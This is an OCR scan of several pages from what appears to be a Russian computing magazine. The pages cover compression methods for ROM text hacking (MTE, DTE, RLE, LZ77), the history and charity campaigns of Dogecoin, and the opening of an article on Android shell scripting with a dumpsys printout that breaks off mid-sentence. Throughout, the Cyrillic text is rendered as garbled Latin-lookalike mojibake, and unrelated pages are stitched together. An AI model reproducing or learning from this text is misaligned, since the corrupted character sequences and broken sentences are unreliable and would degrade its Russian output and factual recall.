ATIMH. riOA «C^OBOM» B A3HH0M CJiyHae nOHMMaeTC?! npOH3BO/lbHblM Ha60pCHMBO^OB, cpeAH 

KOTopbix Moryr BCTpenaTbca m npo6e/ibi. To ecTb TaKMM «c/iobom» b OTAe/ibHbix cjiyHasix mo- 
xeT HB/iflTbCfl m HecKO/ibKO c/iOB, HanpMMep KaKoe-TO nacTO BCTpeHaiOLAeecfl b TeKCTe cno- 
BOConeTaHMe. C APyrow CTopoHbi, sto MOxeT 6biTb m nacTb cnoBa, Hanpniviep ing. flaxe ec/in 
cnoBO coBnaAaeT c 5,3biKOBbiM, to oho MoxeT ncnonbsoBaTbca n KaK HacTb 6onee A/iHHHbix 
c^ob. Hanpniviep, ecnw apTMK/110 the cooTBeTCTByeT 3HaneHne {D6}, to MecTOMMeHMe they, 



CKOpee Bcero, 6yfleT Be3Ae coKpaumaTbca ao AByx 6am: {D6}y. 

Ec/im ocTa/iwcb Bonpocbi, to KpaTKyio CTaTbK) o tom, KaK jioMaTb MTE, moxho nponwTaTb 
Ha caPiTe poivixaKMHr-rpynnbi Chief-Net . 

MHCTpyivieHT Kruptar, o kotopom Mbi HeoAHOKpaTHO paccKa3biBani/i b stom CTaTbe, noA- 
AepxuBaeT MTE 1/13 kopo6kh npocTO noTOMy, hto noAAepxuBaeT Ta6/iMu,bi cmmbojiob, b ko- 

TOpblX npOM3BO/lbHOMy KO/lMHeCTBy 63MT MOXeT COOTBeTCTBOBaTb npOl/l3BOJlbHOe KOJlHHe- 

ctbo CMMBonoB. E/iaroAapn noAAepxKe TaKi/ix Ta6nnu, ecTb TaKxe B03MO>KHOCTb o6o3HaHMTb 
cneuManbHbie 6afiT-KOAbi, KOTopbie Moryr BCTpenaTbca b TeKCTe i/i Kcrropbie He xoneTca 3ano- 
MMHaTb, cneu,nanbHbiMM KOAaMM, noH^THbiMM nenoBeKy h HecnoxHbiMM a/ih 3anoMi/iHaHi/m. 

TaK>Ke moxho ynoivmHyTb DTE — sto nacTHbiM Gnynaii MTE, KorAa nacTO BCTpeHaKDinaflCfl 
KOM6nHaunfl M3 AByx CMMBO/iOB (HanpwMep, coneTaHne th) KOAHpyoTca oahi/im 6aMTOM. 

RLE 

TaKxe AOBO/ibHO npocT MeTOA RLE (Run Length Encoding). Oh He oneHb noAxoAUT ajih cxa- 
~Mfl TeKCTa, ho MOxeT npuroAHTbc^ a/ih OKaTna rpacJ)HKH. A npocT oh noTOMy, hto ero cfjHiuKa 
3aK/iK)HaeTCfl Bcero nuLUb b 3aMeHe a/iuhhom nocneAOBaTeTibHOCTn noBTopflJOLAi/ixca mhoto 
pa3 oahmx n Tex xe sneMeHTOB — 6aMTOB v\nv\ nocneAOBaTe/ibHOCTePi 6a mt, Hanpmviep ot- 
BenaKDLAnx 3a OTo6pa>KeHne nwKcejiefi OAHoro v\ toto xe u,BeTa. MHoroKpaTHoe noBTOpeHne 
a/ieMemra Bcero jiMLUb 3aMeHfleTca Ha OAHy KonMK) 3Toro aneivieHTa m hmctio, OTBenaiOLAoe 
3a KonnnecTBO noBTopeHMM 3Toro 3JieMem~a. 

HecMOTpa Ha cbokd npocTOTy, Aa>Ke RLE cnoco6eH noMeiuaTb yBHAOTb rpacfwKy b TaPi- 
jiobom peAaicrope. Ecrin, KOHenHO, 3to He cneu,najin3npOBaHHbiPi peAaicrop c noAAepxKOM 
aBTopacnaKOBKM. 

LZ77 

Bonee 3cJ)c})eKTMBeH LunpoKO M3BecTHbiM MeTOA cxaTna ceivieMCTBa LZ, ao chx nop nMeio- 
LAero Kyny npnivieHeHMM b pa3/iMHHbix 06/iacTRX coBpeMeHHoro IT Ha3BaH b necTb cbomx 
pa3 pa6oTH m ko b A6paxaMa Jleivine/ia n flKo6a 3nBa, a TaKxe roAa ero ny6nnKau 1 MM. Hennoxo 
noAxoAUT finn cxaTna KaK rpac^MKn, TaK v\ TeKCTa. 

1/lAea 3aicniOHaTCfi b ncnonb30BaHkin ccbinoK Ha paHee BCTpenaBiiiMMCfi 4)parivieHT mh- 
cfjopMaunn, npn stom AaHHbiM MeTOA peann30BaH TaK, hto, no cyTM, yxe BK/ifonaeT b ce6n 
n cJ)MLUKy RLE. 

063op yTM/iHTbi unLZ-GBA ajih 6opb6bi c 3anaKOBaHHOki mctoaom LZ77 rpa<t>HKOi/i 
Ha GBA. TaKxe mo>kho Hafrm 6onee noAPo6Hoe onncaHne RLE h LZ77. 



OEHOMEH 
DOGECOIN 

KAK MHTIA3 COBAHKA IIPI/IHECJIA 

nony/iflPHOCTb HOBOtf 

KPl/l 1710 BAJ1 DTE 




AHApeM riMCbMeHHblM 

apismenny@gmail.com 



B mhtgphgtg noAHac cjiynaiOTC^ HacTOJibKO HeBepo^T- 

Hbie COSblTM^, HTO Mbl nOTl/IXOHbKy npi/lBblKJIM K MX CTpaH- 

hocti/i h HyTb Jin He nepGCTa/ii/i ee 3aMenaTb. OflHa M3 Ta- 

KI/1X l/ICTOpi/ll/l — 0 TOM, KaK nmTMflGCflTMJieThmfl ^noHKa, 

BoenMTaTenbHMua fleTCKoro cafla, c(J)OTorpa(t)i/ipoBajia 
cbohd coSaKy nopoflbi cn6a-i/iHy h ony6/ii/iKOBa/ia chmmok 
b 6/iore; nepe3 neTbipe rofla sto M3o6paxeHne crra/io 
3HaMeHi/iTbiM, a 3aieM Aajio i/iivm oahoi/i M3 Kpi/inTOBajifOT 
n noMorno ei/i o6pec™ HeMa/iyfo nony/i^pHOCTb. Penb, 
kohghho xe, o Dogecoin. 

fl/ifl Tex, kto He 3H3K0M c MeMOM doge (HMTaeTca «ao>k»), ctomt noacHMTb, hto era Kap- 

THHKM C M306paxeHMeM CM6a-MHy B OKpyxeHMM HaflnMCeM, paCKpblBaiOULJ,HX BHyTpeHHHM 

MOHO/ior co6aKM. 0opMaT Tpe6yeT ncnonb30BaHi/i?i Lupwcirra Comic Sans m HapoHi/rro He- 
npaBM/ibHoro aHim/ii/iCKoro fl3biKa. K npwviepy, Ha (Jxrrorpacfji/ii/i, rfle co6aKe npoT^rnBafOT 
neneHbe, OHaflyiviaeT: «wow», «much ruin diet», «very biscuit», «such treat», «amaze» n TaK 
Aajiee (yBbi, Ha pyccKMM 3aTpyAHMTe/ibHO nepeBeon/i stm HaAni/icn, He noTepaB KonopwTa). 
Co6aKa noHTi/i BcerAa BOCTopraeTca npoMCxoA^iAUM, hto Ao6aBJiaeT KapTUHKaM no3HTMB- 
Horo HacTpoeHHH. 

QiaBHbiM ABnraTe/ib nony/mpHoc™ doge — pa3Ae/i r/doge Ha Reddit, a nuK cnaBbi anoH- 
ckom co6aKM npuxoAHTca Ha KOHeu, 2013 roAa. BoKpyr Bitcoin TorAa Ki/ine/ii/i onepeAHbie 
CTpacTM, n o KpnnTOBa/iK)Tax He roBopmi mribKO jieHMBbiM. BbiBLUMM cneu,na/incT no Map- 
KeTMHry KOMnaHMM Adobe AxeKCOH ria/iMep He mribKO roBopmi, ho m npi/iAyMa/i CAe/iaTb 
cbok) BanfOTy m Ha3BaTb ee Dogecoin («Aoxkomh») — b wecTb doge. 28 hoh6ph 2013 roAa 
oh nwuLieT b CBoeM TBMTTepe: «MHBecTnpyK) b Dogecoin, yBepeH, hto 3a hum 6yAymee». 
TaK Hana/ica nyTb stom Heo6bHHOM Ba/iKDTbi. 

Dogecoin ocHOBaH Ha ncxoAHbix KOAax Litecoin h TexHkinecKn Ma/io neM ot Hero ot- 
jii/iHaeTca. DiaBHoe, hto BbiAermeT Dogecoin Ha (pone Apyrwx Kpi/inTOBa/ifOT, — sto 6peH- 
Amht, coo6iAecTBO n HecKO/ibKO mhom cnoco6 npi/iMeHeHMH. 




| such doge 



much meme 




very internets 



so currer 

A 




C 6peHflHHroM Bee noHHTHO cpa3y: cn6a-MHy co cbomm MrpMBbiM B3r/iflAOM yKpaiua- 
eT Bee M3o6paxeHna MOHeT, k/ii/ightckmg nporpaMMbi h cafrrbi, nocB^meHHbie Dogecoin. 
TaM, rAe Ha AO/i/iapax nnwyT «ln God We Trust», a Ha py6.rmx — «5aHK Poccmm», H306pa- 
xeHna MOHeT Dogecoin nivieiOT HaAnncn «Very currency wow much coin how money so 
crypto». Hecepbe3Hbiw toh, OKpyxaKDinnw Dogecoin, nyBCTByeTca cpa3y, ho sto He 3Ha- 
hmt, hto Mbi MivieeM Ae/io Bcero Jikiwb c 3aTHHyBLueMCfl uiyTKOM. 3a no/iroAa CBoero cyme- 
CTBOBaHna «MOHeTbi c co6aHKOM» o6penn BecoMbiPi CTaTyc v\ MHTepecHbie nepcneKTMBbi. 

Ha MOivieHT HanMcaHnq CTaTbM 3a oahh AO/map moxho KynnTb nprnviepHO ABe TbicaHn 
AOxkomhob, a ct>yT6ojiKa c xioroTunoM Dogecoin b Mara3i/me shopdoge.com ctomt oko- 
jio 53 Tbic^H doge. B cpaBHeHi/in c Kypcoivi Bitcoin, no-npexHeiviy cocTaB/iflhoiu,nM cothm 
AO/inapOB KOAHOiviy 6nTK0MHy, — cyu4ne nycT^KM, ho sto He MeiuaeT Dogecoin 3aHMiviaTb 
n^Toe MecTO b peMTi/mre KpunTOBa/iiOT noc/ie Bitcoin, Litecoin, Peercoin \a Ripple. Ae/io 
b tom, hto cnwcoK 3tot paHxwpyeTCH He no Kypcy no OTHOLueHMio k Aormapy, a no pbi- 
hohhom KannTanM3ai4MM, to ecTb cyMMapHoPi ctommoctm Bcex mohct: KannTa.ni/i3aiJ,i/m 
Dogecoin cocTaB/meT npuMepHO 36 mmjijihohob AO/i/iapoB, Litecoin — 289 mmjijimohob 
(pa3Hnu,a c doge MeHbiue, neM Ha nopHAOK), Bitcoin — 5,5 MmuiwapAa. Ho npn stom 
b Mupe cyiAecTByeT okojio 13 mmji/ihohob 6mtkomhob, 28 mmjutmohob naMTKOMHOB m 76 
MunnnapAOB (!) doge. OTCiOAa n Taioa pa3Hi/iu,a b Kypcax: Dogecoin npocTO-HanpocTO 
6onee Me/noa MOHeTa. 
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Doge 4 Kids | A Dogecoin Foundation initiative 


«' 


<2z +!'■.'■ doge4<ids.org 








Send your DOGE donations directly to the official foundation 4 Paws for Ability is a comprehensive service dog organization 
managed address: that strives to take the "dis" out of disability by providing highly- 

trained service dogs to children, regardless of age, disability, or 

Goal reached. Thank you for your support geographic location. 

0 



The US$30,000 raised will help sponsor: 



.or visit the C rowdtilt page where you can also donate USD. 



• Two litters of puppies who'll be trained and paired with 
children as they grow up 




Cam doge4kids.org npa3AHyeTycneniHbiM c6op fleHer Ha 3aKynKy meHKOB 

Hukto He MeiuaeT 3apa6aTbiBaTb MafiHWHroM Dogecoin h wrpaTb Ha Kypcax Ba/ihOT, oa- 
HaKO y TunnHHoro B/iaAe/ibu,a KannTa/ia b doge MHbie nm~epecbi. B to Bpeivia KaK Ha cJ)o- 
pyiviax, nocBqmeHHbix Bitcoin, o6cyxAaiOTCfl cepbe3Hbie Bemti bpoao o6ecneneHHfl 
6e3onacHOCTM xpaHnnwiu, xeuieM n/in nocTpoMKM 6o/iee Momnbix cepBepoB A-na Ao6bi- 
hm, BnaAe/ibu,bi Dogecoin 3aHHTbi coBceM Apyrnis/i. Ohh to m aojio co6upaK)T cpeACTBa 
Ha 6naroTBopnTe/ibHOCTb v\ riio6flT AapnTb Apyr Apyry He6o/ibLune cyMMbi — 6yAT0 3to 
He AOHbrn, a hto-to BpoAe cJ)opyMHoPi «KapMbi». 

HM3Ka?i CTOHMOCTb MOHeT noAxoA^T A-na MMKpOTpaH3aKi4MM KaK nenb39\ nyHLue: 
b Dogecoin KpaiiHe yAo6HO nepeAaBaTb Menme AeHbrn, TeM 6onee hto CTOMMOCTb ne- 
peBOAa cocTaBrmeT Bcero oahh doge. EcTb m APyrne no/ie3Hbie HOBOBBeAeHna: b nep- 
Byio onepeAb Dogetipbot — 6ot, KOTOpbiM noivioraeT Bbipa3HTb ci/iMnaTMK) co6eceAHMKy 
npfiMO Ha Reddit win b Twitter. Ec/im B/iaAeneu, Koiue/ibKa Dogecoin xoseT noxepTBOBaTb 
nfiTb MOHeT aBTOpy KaKoro-Hn6yAb nocTa win KOMMeHTapwa Ha Reddit, oh numeT +/u/ 
dogetipbot 5 doge, m nepeBOA nponcxoAUT aBTOMaTMHecKM. 

nonynaeTCH, hto aBTopbi yAaHHbix KapTMHOK miui nonynqpHbix KOMMeHTapweB MMeiOT 
LuaHC 3apa6oTaTb Ha stom Aormap-APyroPi. l/l3-3a 3toi~o Dogecoin HanoMMHaeT Ba/ihOTy 
6yAym,ero eme Sojibwe, neivi Bitcoin, TaK KaK, no cyTM, npeACTaB/iaeT co6om noiviecb ao- 
HexHoPi cucTeMbi m penyTau,i/iOHHoPi. KaK nacTO Mbi xa/ieeM, hto BCHKi/ie peTBMTbi, jiai/iKH 
i/i npOHne peKoy6bi — LUTyKi/i 6ecnone3Hbie, xoTb 1/1 npn^THbie? Mcnonb30BaHne bmccto 
hi/ix Dogecoin mjim aHa/iornHHOM Ba/iiOTbi npMAano 6bi nony/iapHOCTi/i b cou,nanbHbix ceTax 
coBepiueHHO mhom CMbic/i. O tom, KaK co6biTi/iH MoryT pa3BMBaTbca Aa-nbLue, moxho y3- 
HaTb M3 cfjaHTacTi/isecKoro poMaHa Kopn floKTopoy «Down and Out in the Magic Kingdom» 
(TeKCT Ha aHmMMCKOM cbo6oaho AOCTyneH Ha cawTe aBTopa). Becb choxeT b hcm KpyTHT- 
cn BOKpyr ctioxhom penyTau,noHHOM CMCTeivibi, KOTopyio ncnojib3yeT BMecTO AOHer o6me- 
ctbo, xHBymee b yc/iOBi/iax M3o6n.ni/m. 

FlMaPicKafl KOMaHfla Ha O/inMnnafle b Cohm ^ W 





flpyroe yBJieneHwe fiok/iohhhkob Dogecoin — sto 6/iaroTBOpMTe.nbHOCTb. Ohm yxe co- 
BepLUM/iM HeMano c/iaBHbix AeflHMfi, k npuMepy co6pa/ii/i 30 TbicfH AO/i/iapoB Ha nporpaM- 
My Doge 4 Kids. AeHbrn nokiAyT b (J)oha 4 Paws For Ability m 6yayT noTpaneHbi Ha noKynKy 

1/1 AOCTaBKy LU,eHKOB AGTflM, CTpaAaKDLUUM OT pa3/IMHHblX 3a60JieBaHMM. flpyrafl MHHUMa- 

TMBa, Doge 4 Water, noMor/ia co6paTb okojio 20 TbicaH AO/i/iapoB Ha CHa6>KeHne KDxhom 
KeHHM hmctom boaom. Oah3ko KyAa 6o/ibLue c/iaBbi Dogecoin npkiHecna KaivinaHUfl no cJ)m- 
HaHCMpOBaHMK) 6o6cnei/iCTOB c 51m a Pi km, KOTopbie >Kenan\A o~mpaBi/n~bCfl Ha 0/ii/iMnnaAy 
b Conn, ho i/icnbiTbiBajii/i AeHexHbie 3aipyAHeHnq. 

?lMaMCKaa KOMaHAa no 6o6cneK) yxe ycne/ia npocnaBMTbCH b 1988 roAy, KorAa Bnep- 
Bbie BbiCTyna/ia Ha 3MMHeM 0/iMMnnaAe. TorAa o6oiujiocb 6e3 c6opoB AeHer no MHTepHe- 
Ty (3a OTcyTCTBHeM TaKOBoro), ho hmk3k He 6e3 LuyMi/ixn — eme 6bi, BeAb oaho cjioboco- 
neTaHne «flMafiCKni/i 6o6cnencT» 3ByHm He Bno/iHe npaBAonoAo6HO v\ Bbi3biBaeT y/ibi6Ky. 
Hepe3 nfiTb jieT Ha CTyAHH Disney chajim 0n.nbM Cool Runnings, noBecTByiOLUHM 06 mcto- 
pui/i KOMaHAbi, m oh npuHec e\/\ eme 6ojibiuyio M3BecTHOCTb (a Disney — KaccoBbie c6opbi 
b 155 MmuiMOHOB AO/inapOB). 




B 3tot pa3 OTynacTHq b 31/iMHefi 0/iMMnnaAe flMaPiCKMx cnopTCMeHOB OTAe/ia/in 80 Tbi- 
chh AO/i/iapoB — CTO/ibKO He xBaTa^o Ha CHapaxeHne, TpeHi/ipoBKn, nepeneT i/i nponwe 
pacxoflbi. Coo6LuecTBO Dogecoin TaK npOHi/iK/iocb maggm, hto c nerKOCTbK) co6pa/io 3Ha- 
Hi/iTe/ibHyK) nacTb cyMMbi — 30 Tbican AO/i/iapoB. B nepBbie 12 nacoB noxepTBOBaHi/ia lujim 
HacTO/ibKo ycneniHO, hto Kypc Dogecoin BpeMGHHO noAHa/ica BABoe. 

rio3xe HMTaTG/iM HOBOCTeui 6yAyT Teperb ma3a npi/i bhac 3aro/iOBKa «flMawcKkie 606- 
onencTbi noTepanM 6o6», noTOM yTep^HHbiM npn nepe/ieTe 606 TaKM HafiAeTCfl, h ko- 
MaHAa ycneniHO 3aPiMGT 29-e MecTO Ha copeBHOBaHM^x. Tot qbaKT, hto b cnoHCOpCTBe 
6bina 3aMeLuaHa KpnnTOBaniOTa c 3a6aBHbiM Ha3BaHneivi h co6aHKoPi Ha jioroTwne, Toxe 
He ycKO/ib3HeT ot npeccbi, n Dogecoin nonynuT onepeAHyK) nopu,nio nonyrmpHOc™. 

rioH^B, hto npaBunbHa^ peicnaMa — sto nyTb Kycnexy, cooGlacctbo Dogecoin npoAonxw- 
jio 3KcnepnivieHTbi. GneAyKDinePi ue/ibio Bbi6pa/in cnoHCopcTBO roHinnKa NASCAR — a/ih Hero 
co6pann 55 Tbican AO/i/iapoB, i/i MaiunHy yKpacuna (JwpMeHHaa MOHeTKa c co6aKOM m mhoi~o- 
HucneHHbie HaAnwci/i Dogecoin. Be3 i/im~epecHbix nponcmecTBHPi, KaK BcerAa, He o6oujnocb: 
BnaAeneu, cepBuca a/ih o6ivieHa 3/ieKTpoHHbix BanfOT Moolah. io pewi/m noxepTBOBaTb 1350 
AormapoB, ho ollm6ch hojii/ikom i/i noxepTBOBan TpuHaAUaTb c nonoBMHOM TbicflH. Ho 6paTb 
AeHbm Ha3aA oh OTKa3anca v\ Aaxe npeA/ioxnn KynwTb 6mieT Ha roHKy nio6oMy, kto BHeceT 
1350 AO/i/iapoB h 6o/ibiue. 




fl>KeKCOH ria/iMep 3tot M6/ioBeK, ofleTbiPi p,nn nocemeHHH 6accewHa 

n CTaTyi/ipoBKofi DOGE Ha rpyflu, Bbinrpa/i KOHKypc 
KOCTtOMOB Ha Dogecon 

25 anpe.rm npouma nepBaa KOHcfjepeHunfl, nocBflmeHHafl Dogecoin, OHa nojiynmia 
Ha3BaHne Dogecon. A^eKCOH naniviep BbiCTynmi c n^THaAUaTHMMHyTHOM penbto, b koto- 
pOM noABe/i MTor 138 ahhm cymecTBOBaHkiH Ba/iK)Tbi. Oh otmctm/i, hto Dogecoin 3a stot 
nepnoA Bbipoc 3HaHHTe/ibHO cwibHee, neM Bitcoin b nepBbie Mecaubi CBoero cymecTBO- 
BaHM^, n hto no Koni/inecTBy nepeBOAOB Dogecoin onepexaeT Bee Apyi~ne KpunTOBa/iKDTbi. 

ria/iMep k TOMy xe Bepi/n~, hto pa3HOo6pa3ne cnoco6oB KOHBepTau,ni/i aneKTpoHHbix 
Ba/iK)T b TpaAnunoHHbie — Aa-neKO He caivioe BaxHoe, o neM ctomt 3a6oTi/n~bCfl. «Xn3He- 
cnoco6HOCTb u,nct)poBOM Ba/iKDTbi He AO/ixHa 3aBnceTb ot Toro, HacKO/ibKO ee jien<o nepe- 
BecTM b Ha/iMHHbie», — roBopMT oh. BMecTO 3Toro na/iiviep noATa/iKMBaeTCBOMx nocneAO- 
BaTeneM k TOMy, HTo6bi co3A3Tb BaniOTy, KOTopaa 6bina 6bi A-na MHTepHeTa poahom. 

C otu,om Dogecoin connacHbi A^-neKO He Bee. Ctopohhmkm Bitcoin, k npwviepy, chm- 
t3kdt «anbTKOMHbi» (/iK)6bie a/ibTepHaTMBHbie KpunTOBa/ifOTbi, noxoxwe Ha Bitcoin) actiom 



HeHyxHbiM: k neiviy n/iOAMTb cyiu,HOCTM, eoni/i He yAa/iocb npi/iAyMaTb HMnero KapAHHa/ib- 

HO HOBOrO? 

Eiu,e 6onbLue Dogecoin Kpi/m/iKyiOT 3a to, hto ee nonyrmpHOCTb mo>kgt KOHHUTbca 
BMecTe c nonyrmpHOCTbio MeMa doge. 3to 3BynnT pe30HHo: npeACTaBbTe, hto b pyineTe 
ceMnac 6binn 6bi b xoAy BnpTya/ibHbie MOHeTbi c rpycTHbiM timcom, MaHynoM (m HaAnncbio 
«rioTpaTb KOTa!») win KaKne-Hn6yAb MeABeA-py6\nn. npoMAeT He TaK MHoro BpervieHM, 
m o doge Bee no3a6yAyT. Xact nv\ TorAa nenanbHafl cyAb6a n Dogecoin? 

Cjioxho ce6e npeACTaBMTb, hto Dogecoin KorAa-Hn6yAb npeBpaTMTca b eAUHyto mm- 
poByK) BanKDTy, ho APy>Ke/iK)6Hoe coo6mecTBO, npocTOTa ncnonb30BaHHfl i/i Ha6wpaiomne 
o6opOT peKnaMHbie aKunn npi/iHOCHT Dogecoin Bee HOBbix ctopohhwkob. Ba>KeH n ncH- 
xo/iornHecKMM acneKT. Eonn npo Bitcoin nacTO roBopflT, hto 3to He HacTOflLu,i/ie AeHbrn, 
a hto-to ypoBHH cJ)aHTMKOB, to Dogecoin Heneno b stom BMHMTb: oh n3HananbHO HacTO/ib- 
ko noxox Ha 4>aHTHKM, HacKO/ibKO sto bo3moxho. M KaK 6bi napaAOKcanbHO sto hh 3Byna- 
jio, MMeHHO TaKOM noAXQA MOxeT jiyHiue Bcero cpa6oTaTb b MHTepHeTe. 3C 



X-Mobile 




nO/lHOCTbK) 



SHELL-CKPMnTMHfB CPE^E ANDROID 



Android ocHOBaH Ha ^Ape Linux, BK/irOnaeT b ce6^ Ha- 
6op CTaHflapTHbix UNIX-KOMaHA h npocToi/i we/i/i sh. 

Bee 3T0 3HaHMT, HTO Mbl MOXeM He TO/lbKO MCn0^b30BaTb 

KOMaHflHyfo CTpoKyfl^^ b bi n on h g h 1/1 n Hi/i3KoypoBHeBbix 
onepaui/ii/i, ho v\ ni/icaTb we/ui-CKpi/inTbi, Korapbie 6yn,yT 
BbinojiH^Tb ct)yHKu,MM, HeAOCTynHbie 1/13 rpac^i/inecKoro mh- 
TepcJ^eMca. B 3tom CTaTbe mbi noroBopMM o tom, hto c i/ix 
noMOLUbfo moxho CAe^iaTb h 3aneivi Bee 3to HyxHO. 

O. EBreHMM 3o6hmh 
androidstreet.net 

jih npOLu/ioro HOMepa xypHana a Hannca/i CTaTbio o Tasker — CMCTeivie, koto- 
J | paa no3BonfleT aBTOMaTH3npoBaTb pa6oTy Android h 3aMeHMTb cothi/i ctopohhmx 
I npH/ioxeHMM. K coxaneHMio, Tasker orpaHMMeH BbicoKoypoBHeBbiMM 4)yHKu,MfiMM 
Android m He no3BormeT BbinonHsrrb TaKi/ie HM3KoypOBHeBbie onepauwi/i, KaK MOHTHpOBa- 
HMe (jDafijioBbix cucTeM, M3MeHeHne napaivieTpoB HApa, cwcTeMHbix nepeivieHHbix hjih 3a- 
nycK asmohob. 3aTO Bee sto moxho CAe/iaTb c noMombio CKpuinTOB. 

Cpa3y oroBOpKDCb, hto b stom CTaTbe penb noMAGT o wejui-CKpHnTax b TpaAHUnc-H- 
hom A-n^ Linux noHUMaHw/i, 6e3 i/icnonb30BaHkm i/mcTpyivieHTOB BpoAe SL4A, QPython v\nv\ 
Roboto. QiaBHoe Ha3HaneHi/ie t3kmx CKpunTOB — i/i3MeHeHne noBeAGHna cucTeMbi, napa- 
MeTpoB HApa, pa6oTa c AGMOHaMw (ADB, Hanpinviep) n TOMy noAo6Hoe. CKpnmrbi MoryT 
CTapTOBaTb Ha 3Tane 3arpy3KM OC, ycTaHOBKM hobom npoiuuBKi/i, noone Tana no KHonKe 
I/inn xe no TpaAnu.nn — H3 TepMHHa/ia. 

B CTaTbe a paccKaxy, KaK nnoaTb TaKne CKpnnTbi, KaK 3acTaBHTb mx CTapTOBaTb 3bto- 
MaTMHecKM, npnB?i3biBaTb k onpeAe^eHHOMy ci/iCTeMHOMy co6biTMKD. B KanecTBe 6oHyca 
TaKxe o6"b^CHK), KaK 3acTaBMTb KOHConb BOCCTaHOB/ieHMH (recovery) Bbino/iHHTb Heo6xo- 
AHMbie Te6e AencTBua nepeA ycTaHOBKOM mtim cpa3y noone ycTaHOBKM hobom nponiMBKM. 
HannHaeM. 

OCOEEHHOCTH ANDROID-OKPY)KEHIiq 

B caMOM CBoePi ocHOBe, TaM, rAe HeT Java i/i Dalvik, Android npeACTaB/iaeT co6om mmhm- 
Ma/iMCTHHHbiM Linux-AncTpi/i6yTHB co BceMM CBOMCTBeHHbiMM eMy aTpn6yTaMn: HApOM, 

CHCTeMOM HHHU,ManH3aU,MM, Ha6opOM 6n6nHOTeK, A6M0H0B, KOHCOTIbHblX KOMaHA H, KO- 

HenHO xe, LuennoM. nocneAHMM — 3to He hto MHoe, KaK mksh H3 MirBSD, nepewivieHO- 

BaHHblM B Sh; npOCTOM KOMaHAHbIM MHTepnpeTaTOp C nOAA©P>KKOM H3blKOBblX KOHCTpyK- 

u,mm KnaccMHecKoro Bourne shell H3 UNIX m aBTOAono/iHeHneivi no HaxaTi/iK) Tab. 



B KanecTBe KOMnneicra 6a30Bbix UNIX-KOMaHA 3Aecb wcnojib3yeTCH toolbox, CBoero 
poAa ype3aHHafi a/ibTepHaTHBa BusyBox, KOTopaa no3BormeT Bbi3biBaTb HecKonbKO pa3- 
Hbix KOMaHA 1/13 OAHoro 6nHapHMKa (c noMOLAbK) cmm/imhkob). Toolbox BK/iKDnaeT b ce6a 
oneHb orpaHMHeHHbiM Ha6op KOMaHA, b kotopom hot He TO/ibKO grep hjih sort, ho p,a>Ke cp. 
riosTOMy An^ no/iHOu,eHHOM pa6oTbi co CKpunTaivm HacTOHTe/ibHO peKOMeHAyeTca ycTa- 
HOBKa BusyBox, 6/iaro b MapKeTe noriHO 6ecn/iaTHbix MHCTan/mTopoB. 

CaM Lue/i/i pacno/iaraeTCH He coBceM no aApecy, nosTOMy «Lun6aHr» b CKpunTax 6yAeT 
Bbim^AeTb HecKO/ibKO no-MHOMy, a MMeHHO !/system/bin/sh. 3a~ro o pacnojioxeHHH 6nHap- 
hmkob mo>kho He AyMaTb BOo6me, TaK KaK b nepeivieHHOM $PATH BcerAa nponi/icaHbi npa- 
BM/ibHbie 3HaneHMjq. KaTa/ioroB aha noi/iCKa kom3ha TyT BcerAaTpi/i: /system/bin/, /system/ 
sbin/ h /system/xbin/ a/i« BHeniHux 6i/iHapHi/iKOB. TyAa o6biHHO ycTaHaB.ni/iBaeTCfl BusyBox. 

OcHOBHoe Ha3HaHeHue CKpi/inTHHra b Android — pa6oTa c hapom i/i cncTeMHbiMi/i vth- 
jiMTaMM. 51apo TyT CTaHAapTHoe n 3KcnopTi/ipyeT Bee Te xe i/iHTep(J)ePicbi /proc m /sys, 
nepe3 KOTopbie moxho pynnTbxe/ie30M h cocTOHHi/ieM cucTeMbi. Il/noc ecTb Ha6op cneu,- 
nc})MHHbix A-n^ Android yTunuT, KOTopbie 6yAyTOHeHb none3Hbi npi/i pa3pa6oTKe CKpwnTOB: 

pm — MeHeA>Kep naKeTOB, no3BormeT ycTaHaB/iMBaTb, yAa/mTb i/i nepervieinaTb cocfrr; 

• am — MeHeAxep aKTMBHOCTew (Activity), MoxeT 6biTb i/icnonb30BaH pj\n 3anycKa npn- 
noxeHi/ifi; 

• dumpsys — A3Mn b KOHCO/ib Maccw pa3/iMHHoPi MHcfjopMaunn o coctohhhi/i cucTeMbi; 
screencap — yTmii/iTa &n9\ chati/ia CKpuHiuoTa; 

screenrecord — yTM/inTa A-n^ 3anncn ckpi/ihioctob; 

• getprop/setprop — KOMaHAbi A-n^ HTeHi/ifl i/i i/i3MeHeHHfl CMCTeMHbix nepeivieHHbix; 

• start/stop — 3anycK m ocTaHOBKa ci/iCTeMHbix cny>t<6; 

input — no3BormeT OTnpaB.rmTb b TeKyi_u.ee okho Kefi-KOAbi (3iviy.rmu,i/ifl K/iaBwaTypbi); 

• service — vTi/i/iHTa pj]9\ ynpaB/ieHi/ia Java-cepBi/icaMM, wvieeT oneHb MHoro bo3mo>k- 
HOCTeM; 

svc — no3BO.nfleTynpaB.rmTb Wi-Fi, USB-noAK/noneHneM m ni/rraHi/ieivi. 



user m uid=10084 

c lass=com, google. android. apps .plus .phone .EsRppl icat ion 

d ir=/data/app/corn, google .android .apps .plus- 1 .apk pub 1 icDir=/data/app/com. google .android .apps 
. p lus~l .apk da ta= /data /data/com .google .android .apps .plus 
packageList={com. google. android .apps. plus) 
compat={ 240dpi aluays-compat) 

thread=android .app .Rppl icat ionThreadProxy@41b3d268 
pid=10216 starting=false 

lastRctivityTime=-19s629ms lastPssTime=-14m41s811ms nextPssTime=+327ms 
adjSeq=173149 lruSeq=0 lastPss=6747 lastCachedPss=6747 
keeping=true cached=false empty=true 
oom: max=lG curRau=5 setRau=5 cur=5 set=5 

curSchedGroup=0 setSchedGroup=0 systemNoUi=false tr imMemory Level =0 

curProcState=7 repProcState=7 pssProcState=13 setProcState=7 lastStateTime=-19s673ms 

hasStartedServices=true 

lastRequestedGc=-3h23ml4s398ms lastLouMemory=-3h23ml4s398ms reportLouMemory=false 

Services: 

- ServiceRecord{41ebde30 u0 com. google. android, apps, plus/, service. EsService) 
Published Providers: 

- com. google. android. 1 ibraries. social .picasalegacy .PicasaPhotoContentProvider 

-> ContentProviderRecord(41f93a70 u0 com. google. android. apps. plus/com. google. android. lib 
raries .social .picasalegacy .PicasaPhotoContentProvider) 

- com .google .android .apps .photos .content .GooglePhotosImageProvider 

-> ContentProviderRecord{41f939d8 u0 com. google. android. apps. plus/com. google. android. app 
s . photos . content , GooglePhotosImageProv ider) 



flEPBblM nPMMEP 

Tenepb AasaPi nonpo6yeivi Hani/icaTb nepBbiM CKpunT. fle/iaTb sto jiyHnie Ha Koivine, a euj,e 
